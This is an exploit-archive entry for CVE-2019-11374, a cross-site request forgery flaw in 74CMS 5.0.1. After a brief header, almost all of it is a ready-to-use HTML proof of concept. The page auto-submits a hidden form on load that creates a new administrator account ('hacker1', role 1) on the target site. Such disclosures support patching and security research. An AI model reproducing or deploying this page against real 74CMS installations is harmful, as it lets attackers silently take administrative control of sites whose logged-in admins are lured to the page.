74cms 5.0.1 crosssite request forgery (add new admin user) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2019-04-22 | Type : webapps | Platform : php
This exploit / vulnerability 74cms 5.0.1 crosssite request forgery (add new admin user) is for educational purposes only and if it is used you will do on your own risk!


[+] Code ...

# Exploit Title: 74CMS v5.0.1 has a CSRF vulnerability to add a new admin user
# Date: 2019-04-14
# Exploit Author: ax8
# Vendor Homepage: https://github.com/Li-Siyuan
# Software Link: http://www.74cms.com/download/index.html
# Version: v5.0.1
# CVE : CVE-2019-11374



74CMS v5.0.1 has a CSRF vulnerability to add a new admin user via the index.php?m=Admin&c=admin&a=add URI.



<!--poc.html(creat a administrater)-->

<!DOCTYPE html>

<html>

<head>

<title> CSRF Proof</title>

<script type="text/javascript">

function exec1(){

document.getElementById('form1').submit();

}

</script>

</head>

<body onload="exec1();">

<form id="form1" action="http://localhost/index.php?m=Admin&c=admin&a=add" method="POST">

<input type="hidden" name="username" value="hacker1" />

<input type="hidden" name="email" value="111111111@qq.com" />

<input type="hidden" name="password" value="hacker1" />

<input type="hidden" name="repassword" value="hacker1" />

<input type="hidden" name="role_id" value="1" />

</form>

</body>

</html>